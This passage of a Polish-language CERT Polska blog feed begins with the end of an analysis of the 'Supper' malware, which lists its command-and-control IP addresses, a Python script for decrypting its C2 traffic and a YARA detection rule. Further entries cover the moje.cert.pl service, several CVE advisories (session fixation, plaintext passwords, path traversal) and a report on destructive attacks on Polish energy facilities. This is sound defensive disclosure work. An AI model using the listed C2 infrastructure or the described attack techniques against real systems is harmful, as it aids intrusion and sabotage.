&lt;li&gt;162.19.199.110: port 4043&lt;/li&gt;
&lt;li&gt;146.19.49.130: port 8080&lt;/li&gt;
&lt;li&gt;185.233.166.27: port 443&lt;/li&gt;
&lt;li&gt;85.239.54.130: nieaktywny&lt;/li&gt;
&lt;li&gt;171.130.169.141: nieaktywny&lt;/li&gt;
&lt;li&gt;130.49.19.146: błędny&lt;/li&gt;
&lt;li&gt;110.199.19.162: błędny&lt;/li&gt;
&lt;li&gt;27.166.233.185: błędny&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Adresy IP oznaczone jako "błędne" stanowią lustrzane odbicie rzeczywistych adresów IP C2 (na przykład &lt;code&gt;4.3.2.1&lt;/code&gt; zamiast &lt;code&gt;1.2.3.4&lt;/code&gt;).
Podejrzewamy, że operatorzy nie byli pewni jaka kolejność bajtów jest poprawna i zdecydowali się na wszelki wypadek przesłać obie wersje
(adres IP jest wysyłany przez serwer jako DWORD).&lt;/p&gt;
&lt;p&gt;Poniższy skrypt został użyty do deszyfrowania komunikacji C2:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;struct&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;malduck&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;chunks&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;u32&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;u16&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;xor&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;custom&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
    &lt;span class="n"&gt;v2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;v1&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)):&lt;/span&gt;
        &lt;span class="n"&gt;v2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;v2&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;
        &lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;decrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Payload:&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;

    &lt;span class="n"&gt;hdr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;xor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;M&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;length&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;u32&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hdr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;hdr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

    &lt;span class="n"&gt;body&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;custom&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;ips&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;chunks&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;ips&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;.&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;q&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Decrypted IPS:&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ips&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Poniższa reguła Yara może zostać wykorzystana, aby znaleźć rozpakowane próbki oprogramowania Supper.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;rule certpl_supper
{
    meta:
        description = &amp;quot;Supper malware, often pre-ransomware&amp;quot;
        author = &amp;quot;msm&amp;quot;
        date = &amp;quot;2025-10-01&amp;quot;
    strings:
        $a1 = &amp;quot;(%d)\trecv type-%d len %d (0x%x)&amp;quot;
        $a2 = &amp;quot;bad socks5 request&amp;quot;
        $a3 = &amp;quot;[DEBUG MAIN SOCKS] Starting Init SOCKS&amp;quot;
        $magic = {55 11 69 00}
    condition:
        3 of them
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h1&gt;Podsumowanie&lt;/h1&gt;
&lt;p&gt;Chociaż początkowy wektor infekcji jest stosunkowo prosty, ataki typu Fake CAPTCHA stanowią duże ryzyko, dając atakującemu możliwość wykonania dowolnego kodu w kontekście użytkownika.&lt;/p&gt;
&lt;p&gt;Mamy nadzieję, że nasz wpis na blogu zwiększy świadomość tego typu zagrożenia i podkreśli znaczenie edukacji pracowników oraz monitorowania nietypowych zdarzeń w firmie.&lt;/p&gt;</content><category term="News"></category><category term="malware"></category><category term="analysis"></category><category term="dfir"></category></entry><entry><title>Rok moje.cert.pl i nowe narzędzie – infrastruktura organizacji</title><link href="https://cert.pl/posts/2026/02/rok-moje-infrastruktura-organizacji/" rel="alternate"></link><published>2026-02-12T10:30:00+01:00</published><updated>2026-02-12T10:30:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2026-02-12:/posts/2026/02/rok-moje-infrastruktura-organizacji/</id><summary type="html">Ponad pół miliona podatności udało się znaleźć dzięki udostępnieniu serwisu moje.cert.pl. To darmowe narzędzie, z którego korzysta już niemal 16 tysięcy użytkowników. To też ponad 19 tysięcy stron, które należą do instytucji, firm i osób prywatnych, których administratorzy podjęli działania na rzecz bezpieczeństwa swojego, a nierzadko także swoich klientów.</summary><content type="html">&lt;p&gt;&lt;strong&gt;Ponad pół miliona podatności udało się znaleźć dzięki udostępnieniu serwisu moje.cert.pl. To darmowe narzędzie, z którego korzysta już niemal 16 tysięcy użytkowników. To też ponad 19 tysięcy stron, które należą do instytucji, firm i osób prywatnych, których administratorzy podjęli działania na rzecz bezpieczeństwa swojego, a nierzadko także swoich klientów.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Wyniki skanowań robią wrażenie. Serwis sprawdził już ponad 3,3 miliona domen, subdomen i adresów IP. Podczas tych testów system wykrył ponad pół miliona (573 753) podatności i błędnych konfiguracji, o których administratorzy często nie mieli pojęcia. Do tego dochodzą informacje o wycieku prawie 4 milionów haseł. To coś więcej niż liczby – to realna zmiana poziomu bezpieczeństwa w sieci.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Cały czas rozwijamy i ulepszamy nasz serwis. Każdego dnia informujemy administratorów o wyciekach danych czy podatnościach na ich stronach. Robimy to, zanim te informacje wykorzystają cyberprzestępcy.  Ale nie tylko administratorzy czy właściciele domen mogą czerpać korzyści z używania moje.cert.pl. To także miejsce, gdzie każdy znajdzie informacje o aktualnych zagrożeniach&lt;/em&gt; – &lt;strong&gt;przypomina Marcin Dudek, kierownik CERT Polska.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Projekt moje.cert.pl został stworzony, aby zmienić sposób, w jaki użytkownicy w Polsce dbają o cyberbezpieczeństwo swoich domen. Dane z ostatniego roku pokazują wyraźnie, że uruchomienie serwisu przynosi efekty. To ważne, bo każda wykryta i usunięta podatność oznacza potencjalny incydent, którego udało się uniknąć.&lt;/p&gt;
&lt;h2&gt;Nowa funkcjonalność – infrastruktura organizacji&lt;/h2&gt;
&lt;p&gt;Z okazji roku funkcjonowania systemu, eksperci z CERT Polska wprowadzili do platformy nową funkcjonalność o nazwie "Infrastruktura organizacji". Co to oznacza w praktyce? Dziś użytkownicy widzą w moje.cert.pl informacje o tym, gdzie w ich infrastrukturze odnaleziono podatności tzn. w konkretnych, wskazanych zasobach, takich jak domeny czy adresy IP.&lt;/p&gt;
&lt;p&gt;Nowa funkcja – analiza infrastruktury organizacji – ma natomiast szerszą perspektywę, tzn. pokazuje całość infrastruktury widocznej z Internetu, w tym również elementy, które nie zostały wcześniej zidentyfikowane lub zgłoszone (np. zapomniane subdomeny, dodatkowe usługi, stare serwery).&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Im mniej publicznie dostępnych usług czy paneli administracyjnych, tym mniejsze ryzyko, że atakujący wykorzysta znane podatności lub upublicznione w wycieku hasła. W serwisie moje.cert.pl można teraz wygodnie obejrzeć publicznie dostępną infrastrukturę swojej firmy, np. subdomeny, użyte technologie, panele administracyjne czy otwarte porty, aby ocenić, które z tych elementów warto ukryć lub dodatkowo zabezpieczyć&lt;/em&gt; – &lt;strong&gt;tłumaczy Krzysztof Zając, ekspert CERT Polska.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Innymi słowy, nowa funkcja w moje.cert.pl pozwala spojrzeć na infrastrukturę z perspektywy potencjalnego atakującego. Dzięki temu umożliwia zrozumienie faktycznej ekspozycji organizacji i ograniczenie liczby publicznie dostępnych punktów wejścia. Co więcej, &lt;a href="https://moje.cert.pl/organization/demo/assets/"&gt;na stronie&lt;/a&gt; dostępne jest interaktywne demo, które pozwala sprawdzić, jak funkcja działa w praktyce – użytkownicy mogą swobodnie klikać, eksplorować i zobaczyć, jakie informacje platforma potrafi zidentyfikować.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="/uploads/2026/02/moje-cert-pl-infrastruktura.png"&gt;
&lt;em&gt;Widok infrastruktury w moje.cert.pl dla przykładowej organizacji&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Co daje korzystanie z moje.cert.pl?&lt;/h2&gt;
&lt;p&gt;Serwis moje.cert.pl to bezpłatne rozwiązanie, które zostało przygotowane z myślą o wszystkich, którzy posiadają domeny oraz osobach odpowiedzialnych za utrzymanie infrastruktury teleinformatycznej. Mogą z niego korzystać zarówno właściciele niewielkich stron internetowych, administratorzy sieci w małych firmach, jak i zespoły zarządzające rozbudowanymi systemami w instytucjach publicznych. Platforma udostępnia narzędzia i wskazówki dopasowane do potrzeb każdej z tych grup.&lt;/p&gt;
&lt;p&gt;Użytkownicy prywatni mogą szybko sprawdzić, czy ich strony są bezpieczne. Małe przedsiębiorstwa zyskują dostęp do rozwiązań, które jeszcze niedawno były dostępne głównie dla dużych organizacji. Natomiast instytucje publiczne mogą monitorować bezpieczeństwo nawet bardzo złożonych środowisk i to bez ponoszenia dodatkowych kosztów.&lt;/p&gt;
&lt;h2&gt;Artemis chroni Twoją domenę i sieć&lt;/h2&gt;
&lt;p&gt;Skanowanie dostępne w serwisie moje.cert.pl działa w oparciu o narzędzie Artemis, które rozwijają eksperci CERT Polska. To zaawansowany system analizujący bezpieczeństwo domen i usług internetowych.
Co ważne, Artemis działa w sposób całkowicie nieinwazyjny. Nie obciąża infrastruktury, nie testuje jej wydajności, nie przeprowadza ataków typu DDoS, ani nie omija istniejących zapór sieciowych. Dzięki temu administratorzy mogą mieć pewność, że skanowanie nie wpłynie negatywnie na dostępność systemów ani ich stabilność.&lt;/p&gt;
&lt;h2&gt;Rozwiązanie, które działa&lt;/h2&gt;
&lt;p&gt;Zespół CERT Polska wsłuchuje się w potrzeby użytkowników i reaguje na zgłaszane oczekiwania. Stąd zmiany, usprawnienia, nowe funkcje. Rozwijamy i rozbudowujemy serwis moje.cert.pl, bo odgrywa istotną rolę w budowaniu bezpieczeństwa cyfrowego w Polsce. &lt;/p&gt;
&lt;style&gt;
blockquote p {
    color: black !important;
}
&lt;/style&gt;</content><category term="News"></category><category term="informacja"></category><category term="moje.cert.pl"></category></entry><entry><title>Podatności w oprogramowaniu Quick.Cart</title><link href="https://cert.pl/posts/2026/02/CVE-2026-23796/" rel="alternate"></link><published>2026-02-05T11:55:00+01:00</published><updated>2026-02-05T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2026-02-05:/posts/2026/02/CVE-2026-23796/</id><summary type="html">W oprogramowaniu Quick.Cart wykryto 2 podatności różnego typu (CVE-2026-23796 i CVE-2026-23797)</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu Quick.Cart i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2026-23796"&gt;CVE-2026-23796&lt;/a&gt;: Quick.Cart umożliwia ustawienie identyfikatora sesji użytkownika przed uwierzytelnieniem. Wartość tego identyfikatora pozostaje taka sama po uwierzytelnieniu. Takie zachowanie pozwala atakującemu ustawić identyfikator sesji dla ofiary, a następnie przejąć uwierzytelnioną sesję.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2026-23797"&gt;CVE-2026-23797&lt;/a&gt;: W Quick.Cart hasła użytkowników są przechowywane w postaci jawnej. Atakujący z uprawnieniami administratora może wyświetlić hasła użytkowników na stronie edycji użytkownika.&lt;/p&gt;
&lt;p&gt;Producent został wcześniej poinformowany o tych podatnościach, jednak nie udzielił informacji na temat szczegółów podatności ani zakresu wersji podatnych na atak. Przetestowano i potwierdzono podatności jedynie w wersji 6.7 - inne wersje nie były testowane i również mogą być podatne.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Beniaminowi Jabłońskiemu.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w aplikacji mObywatel na iOS</title><link href="https://cert.pl/posts/2026/02/CVE-2025-11598/" rel="alternate"></link><published>2026-02-03T11:55:00+01:00</published><updated>2026-02-03T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2026-02-03:/posts/2026/02/CVE-2025-11598/</id><summary type="html">W aplikacji mObywatel na system iOS wykryto podatność sktutkującą ujawnieniem danych osobowych nieuwierzytelnionemu atakującemu (CVE-2025-11598).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w aplikacji mObywatel i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-11598"&gt;CVE-2025-11598&lt;/a&gt;: W aplikacji mObywatel na iOS nieuprawniony użytkownik może, korzystając z funkcji App Switcher, podejrzeć dane osobowe właściciela konta wyświetlane w zminimalizowanym oknie aplikacji po zakończeniu sesji logowania (ponowne otwarcie aplikacji wymagałoby ponownego uwierzytelnienia). Zakres ujawnianych informacji zależy od ostatniego widoku aplikacji wyświetlanego przed zminimalizowaniem aplikacji.&lt;/p&gt;
&lt;p&gt;Problem został naprawiony w wersji 4.71.0&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Maciejowi Krakowiakowi z firmy DSecure.me.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu EAP Legislator</title><link href="https://cert.pl/posts/2026/02/CVE-2026-1186/" rel="alternate"></link><published>2026-02-02T11:55:00+01:00</published><updated>2026-02-02T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2026-02-02:/posts/2026/02/CVE-2026-1186/</id><summary type="html">W oprogramowaniu EAP Legislator wykryto podatność pozwalającą na rozpakowanie archiwum plików poza katalogiem docelowym (CVE-2026-1186).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu ABC PRO EAP Legislator i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2026-1186"&gt;CVE-2026-1186&lt;/a&gt;: EAP Legislator jest podatny na atak typu Path Traversal w funkcjonalności rozpakowywania plików. Atakujący może przygotować archiwum zipx (domyślny typ pliku używany przez aplikację Legislator) i wskazać dowolną ścieżkę poza katalogiem docelowym (np. folder autostart systemu), do której pliki zostaną rozpakowane przez ofiarę po otwarciu pliku.&lt;/p&gt;
&lt;p&gt;Problem został naprawiony w wersji 2.25a.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Marcinowi Resselowi.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Raport z incydentu w sektorze energii z 29 grudnia 2025 roku</title><link href="https://cert.pl/posts/2026/01/raport-incydent-sektor-energii-2025/" rel="alternate"></link><published>2026-01-30T11:00:00+01:00</published><updated>2026-01-30T11:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2026-01-30:/posts/2026/01/raport-incydent-sektor-energii-2025/</id><summary type="html">Zespół CERT Polska przedstawia raport z analizy incydentu w sektorze energii, do którego doszło 29 grudnia 2025 roku. Ataki miały charakter destrukcyjny i były wymierzone w farmy wiatrowe i fotowoltaiczne, dużą elektrociepłownię oraz przedsiębiorstwo z sektora produkcyjnego. Publikacja ma na celu podniesienie świadomości na temat ryzyka związanego z dywersją w cyberprzestrzeni.</summary><content type="html">&lt;p&gt;&lt;span class="report-download"&gt;
    &lt;a href="/uploads/docs/CERT_Polska_Raport_Incydent_Sektor_Energii_2025.pdf"&gt;
        &lt;img src="/uploads/docs/covers/CERT_Polska_Raport_Incydent_Sektor_Energii_2025.pdf.jpg" alt="okładka"&gt;
        &lt;span class="caption"&gt;Pobierz raport &lt;i class="pl"&gt;&lt;/i&gt; (PDF, 5.6MB)&lt;/span&gt;
    &lt;/a&gt;
    &lt;a href="/uploads/docs/CERT_Polska_Energy_Sector_Incident_Report_2025.pdf"&gt;
        &lt;span class="caption"&gt;Pobierz raport &lt;i class="en"&gt;&lt;/i&gt; (PDF, 5.6MB)&lt;/span&gt;
    &lt;/a&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;W dniu 29 grudnia 2025 roku w godzinach porannych oraz popołudniowych doszło do skoordynowanych ataków w polskiej cyberprzestrzeni. Były one wymierzone w co najmniej 30 farm wiatrowych i fotowoltaicznych, spółkę prywatną z sektora produkcyjnego oraz w dużą elektrociepłownię dostarczającą ciepło dla prawie pół miliona odbiorców w Polsce.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Wszystkie ataki miały cel wyłącznie &lt;strong&gt;destrukcyjny&lt;/strong&gt;. Poprzez analogię do świata fizycznego można je porównać do celowych podpaleń. Warto dodać, że był to okres, w którym Polska zmagała się z niskimi temperaturami i zamieciami śnieżnymi, tuż przed Nowym Rokiem. Choć ataki na farmy odnawialnych źródeł energii spowodowały zerwanie komunikacji pomiędzy tymi obiektami a operatorami sieci dystrybucyjnej, nie miały jednak wpływu na biężącą produkcję energii elektrycznej. Podobnie, atak na elektrociepłownię nie osiągnął planowanego przez atakującego skutku w postaci spowodowania przerw w dostawie ciepła do odbiorców końcowych.&lt;/p&gt;
&lt;p&gt;Zdarzenia te miały wpływ zarówno na systemy informatyczne, jak i na fizyczne urządzenia przemysłowe, co jest rzadko spotykane w dotychczas opisywanych atakach. &lt;strong&gt;Publikujemy raport z analizy tego incydentu&lt;/strong&gt;, aby przekazać wiedzę o przebiegu zdarzeń oraz o technikach zastosowanych przez atakującego. Liczymy, że dzięki temu wzrośnie świadomość realnego ryzyka związanego z dywersją w cyberprzestrzeni. Odnotowane ataki są znaczną eskalacją w porównaniu ze zdarzeniami obserwowanymi przez nas do tej pory.&lt;/p&gt;
&lt;h2&gt;Atak na farmy odnawialnych źródeł energii (OZE)&lt;/h2&gt;
&lt;p&gt;Atakami zostały dotknięte stacje elektroenergetyczne - główne punkty odbioru, które pełnią rolę węzłów przekazujących energię ze źródeł wiatrowych i fotowoltaicznych do sieci dystrybucyjnej. W głównych punktach odbioru działa wiele urządzeń w obszarze automatyki przemysłowej, które znalazły się w zainteresowaniu atakującego. Wśród nich są sterowniki RTU odpowiedzialne za telemechanikę i nadzór nad pracą stacji, lokalne HMI wizualizujące stan pracy obiektu, sterowniki zabezpieczeń odpowiedzialne m.in. za ochronę przed uszkodzeniami elektrycznymi czy urządzenia służące do komunikacji, takie jak serwery portów szeregowych, modemy, routery i przełączniki sieciowe.&lt;/p&gt;
&lt;p&gt;Po uzyskaniu dostępu do sieci wewnętrznej głównych punktów odbioru atakujący przeprowadził rekonesans, a następnie przygotował plan działań destrukcyjnych skierowanych na dostępne dla niego urządzenia: uszkodzenie oprogramowania wbudowanego sterowników, usuwanie plików systemowych czy uruchomienie przygotowanego złośliwego oprogramowania uszkadzającego pliki (wiper). Częściowo zautomatyzowany plan został uruchomiony w godzinach porannych 29 grudnia. W efekcie uszkodzenia sterowników RTU stacje utraciły możliwość komunikacji z systemami operatora sieci dystrybucyjnej i uniemożliwiły zdalne sterowanie, co jednak nie wpłynęło na bieżącą produkcję energii.&lt;/p&gt;
&lt;h2&gt;Atak na dużą elektrociepłownię&lt;/h2&gt;
&lt;p&gt;Celem ataku na elektrociepłownię był sabotaż w postaci nieodwracalnego uszkodzenia danych znajdujących się na urządzeniach w sieci wewnętrznej podmiotu za pomocą złośliwego oprogramowania typu wiper. Atak został poprzedzony długotrwałą infiltracją infrastruktury i kradzieżą wrażliwych informacji dotyczących działania podmiotu. W wyniku swoich działań atakujący uzyskał dostęp do kont uprzywilejowanych, co umożliwiło mu swobodne poruszanie się w systemach elektrociepłowni. W momencie próby uruchomienia złośliwego oprogramowania jego działanie zostało zablokowane przez używane w podmiocie oprogramowanie klasy EDR.&lt;/p&gt;
&lt;h2&gt;Atak na przedsiębiorstwo z sektora produkcyjnego&lt;/h2&gt;
&lt;p&gt;Tego samego dnia, a więc 29 grudnia, atakujący podjął również próbę zakłócenia funkcjonowania przedsiębiorstwa z sektora produkcyjnego. Działania te zostały przeprowadzone w sposób skoordynowany z atakami na przedsiębiorstwa sektora energetycznego, ale cel miał charakter oportunistyczny i nie jest powiązany z innymi podmiotami. Użyte oprogramowanie typu wiper było tożsame z tym wykorzystanym w ataku na elektrociepłownię. Szczegółową analizę techniczną złośliwego oprogramowania przedstawiamy w raporcie.&lt;/p&gt;
&lt;h2&gt;Atrybucja&lt;/h2&gt;
&lt;p&gt;Analiza infrastruktury wykorzystanej do ataku, w tym przejętych serwerów VPS, routerów, analiza przepływów i charakterystyka infrastruktury anonimizującej pozwala stwierdzić, że w znacznym stopniu pokrywa się ona z infrastrukturą używaną przez klaster aktywności znany w przestrzeni publicznej jako „Static Tundra” (Cisco), „Berserk Bear” (CrowdStrike), „Ghost Blizzard” (Microsoft) oraz „Dragonfly” (Symantec). Publicznie dostępne opisy działań aktora wskazują na duże zainteresowanie sektorem energetyki oraz posiadanie odpowiednich zdolności do atakowania urządzeń przemysłowych, co jest zbieżne z obserwowanymi w incydencie działaniami atakującego. Jest to natomiast pierwsza publicznie opisana aktywność o charakterze destrukcyjnym przypisywana do tego klastra aktywności.&lt;/p&gt;
&lt;h2&gt;Rekomendacje&lt;/h2&gt;
&lt;p&gt;Poniżej zamieszczamy rekomendacje wynikające z analizy incydentu:&lt;/p&gt;
&lt;ol&gt;
